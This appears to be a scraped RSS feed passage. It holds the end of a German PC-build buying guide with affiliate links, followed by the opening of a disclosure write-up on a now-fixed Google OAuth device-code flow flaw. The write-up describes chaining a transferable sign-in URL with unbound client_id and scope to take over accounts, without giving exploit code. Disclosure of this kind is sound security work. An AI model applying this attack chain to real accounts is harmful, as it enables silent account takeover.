<h3 class="wp-block-heading toc">Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle</h3>



<p>Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+5+5600g+prozessor+725821" target="_blank" rel="noreferrer noopener">AMD Ryzen 5 5600G</a> – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.</li>



<li><strong>Alternative</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/intel+core+i3+14100+823580" target="_blank" rel="noreferrer noopener">Intel Core i3-14100</a> – Reicht für reine Office-Arbeiten ebenfalls völlig aus. <strong>Wichtig:</strong> Achten Sie darauf, nicht aus Versehen die <em>14100F-Variante</em> zu kaufen, weil dieser Version die Grafikeinheit fehlt.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B0F4H61PLX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte B550M DS3H</a> (für AMD) oder <a href="https://www.amazon.de/dp/B0BNQFRNJL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime B760M-K D4</a> (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 16 GB DDR4-3200 (z.B. <a href="https://www.amazon.de/dp/B0957TXNJ3?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Memory Viper Elite II DDR4 2x8GB, CL18</a>). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.</li>



<li><strong>Speicherplatz:</strong> 500 GB PCIe 4.0 NVMe SSD (z.B. <a href="http://www.amazon.de/dp/B0DC8K6KQD?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial P310 SSD 500GB M.2 NVMe</a>). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur <a href="http://www.amazon.de/dp/B0DC8VPSHV?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">1-TB-Variante</a> greifen.</li>



<li><strong>Gehäuse:</strong> Das <a href="https://www.amazon.de/dp/B0B4X9FMQS?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Montech Air 100</a> ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.</li>



<li><strong>Netzteil:</strong> Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum <a href="https://www.amazon.de/dp/B0F5X4JR6T?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! System Power 11 450W</a> greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 2: Casual-Gaming und Videoschnitt-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e87763cc6"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/ASUS-Prime-GeForce-RTX-5060-8GB-GDDR7-OC-Edition-Gaming.jpg?quality=50&amp;strip=all&amp;w=1117" alt="ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming" class="wp-image-3173126" width="1117" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nötige Leistung für 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding für Streaming und Videoschnitt.</figcaption></figure><p class="imageCredit">Asus</p></div>



<p>Wer aktuelle Spiele flüssig genießen oder mit <a href="https://adobe.prf.hn/click/camref:1101lr4vb/pubref:rss/destination:https://www.adobe.com/de/products/premiere.html" target="_blank" rel="noreferrer noopener">Adobe Premiere</a> und <a href="https://www.blackmagicdesign.com/de/products/davinciresolve" target="_blank" rel="noreferrer noopener">DaVinci Resolve</a> kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong>: Der <a href="https://www.amazon.de/dp/B0DFK8HHK4?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Intel Core Ultra 5 245KF</a> bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.</li>



<li><strong>Alternative</strong>: Der <a href="https://www.amazon.de/dp/B0D6NMDNNX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">AMD Ryzen 7 9700X</a> ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> Das <a href="http://www.amazon.de/dp/B0DJDFKV2J?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus TUF Gaming Z890-Plus</a> (für Intel) oder das <a href="https://www.amazon.de/dp/B0BDS873GF?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI MAG B650 Tomahawk WiFi</a> (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5060 mit 8 GB (z.B. <a href="https://www.amazon.de/dp/B0CSFMYN1W?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime GeForce RTX 5060 8GB OC Edition</a>). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum <a href="https://www.amazon.de/dp/B0F4DVXKKX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Ti-Modell</a> greifen (+ 80 Euro).</li>



<li><strong>Preis-Alternative</strong><em>:</em> AMD Radeon RX 9060 XT mit 8 GB (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/gigabyte+radeon+rx+9060+xt+8gb+gaming+grafikkarte+neu+913965" target="_blank" rel="noreferrer noopener">Gigabyte Radeon RX 9060 XT 8GB</a>). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 TB PCIe 4.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0B7CKZGN6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">WD_BLACK SN850X NVMe SSD</a>). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.</li>



<li><strong>Gehäuse:</strong> <a href="https://www.amazon.de/dp/B0CJCJ3ZZB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Fractal Design North XL</a> – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.</li>



<li><strong>Netzteil:</strong> 750 Watt ATX 3.1 (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/seasonic+focus+gx+750+atx+31+white+pc+netzteil+863558" target="_blank" rel="noreferrer noopener">Seasonic Focus GX ATX 3.1</a>) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 3: High-End-System für Gaming und Content Creation</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877646bb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Gigabyte-AORUS-GeForce-RTX-5090-Master-32G-Grafikkarte.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte" class="wp-image-3173131" width="1200" height="1032" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Für einen High-End-PC setzen wir auf üppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.</figcaption></figure><p class="imageCredit">Gigabyte </p></div>



<p>Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. <strong>Hinweis:</strong> Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x3d+prozessor+878500" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X3D</a><strong> </strong>– Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.</li>



<li><strong>Günstigere Alternative:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x+prozessor+856963" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X</a> – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B09CD4WSR6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus ROG Strix X870E-E Gaming</a> – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum <a href="https://www.amazon.de/dp/B0BT86XVCB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">64-GB-Kit</a> und muss den Preissprung zwangsläufig hinnehmen.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5080 mit 16 GB (z.B. <a href="https://www.amazon.de/dp/B0BSLJK16Z?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI GeForce RTX 5080 16GB GDDR7</a>) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.</li>



<li><strong>Highend-Alternative</strong><em>:</em> Nvidia GeForce RTX 5090 mit 32 GB (z.B. <a href="https://www.amazon.de/dp/B0DT9YQR11?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7</a>). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0F9XP15XL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0</a>) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.</li>



<li><strong>Gehäuse:</strong><br><ul><li><strong>Standard:</strong> <a href="https://www.amazon.de/dp/B0C592W24R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Shadow Base 800 FX Black</a> – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.</li></ul>
<ul class="wp-block-list">
<li><strong>Design-Alternative:</strong> <a href="http://www.amazon.de/dp/B0CGM5HJM8?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Lian Li O11 Dynamic EVO XL</a> – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.</li>
</ul>
</li>



<li><strong>Netzteil:</strong> 1000 Watt ATX 3.1 (z.B. <a href="https://www.amazon.de/dp/B0BPSWXKSB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair RMx Shift</a> oder <a href="http://www.amazon.de/dp/B0C86H1MM9?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Straight Power 12</a>). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.</li>
</ul>



<h2 class="wp-block-heading">Ihre Kauf-Checkliste für 2026</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877654fd"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/01/OnlineShopping.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Mann kauft online ein mit Kreditkarte und Handy" class="wp-image-2577525" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Anucha Tiemsom/Shutterstock.com</p></div>



<p>Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:</p>



<ul class="wp-block-list">
<li><strong>Airflow bei Gaming-Systemen beachten: </strong>Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.</li>



<li><strong>HDD stirbt langsam aus:</strong> Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.</li>



<li><strong>Netzteil-Standards beachten:</strong> Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue <strong>ATX-3.1</strong>-Zertifizierung.</li>



<li><strong>RAM-Sweetspot treffen:</strong> Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.</li>



<li><strong>Mainboard-Features geschickt wählen:</strong> Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.</li>



<li><strong>Kühlung richtig dimensionieren:</strong> Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.</li>
</ul>



<h2 class="wp-block-heading">Fazit: Clever kaufen trotz Krise</h2>



<p>Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt <strong>spürbar verzerrt</strong> und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.</p>



<p>Die Devise lautet deshalb: <strong>Priorisieren statt Verzweifeln.</strong> Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.</p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability 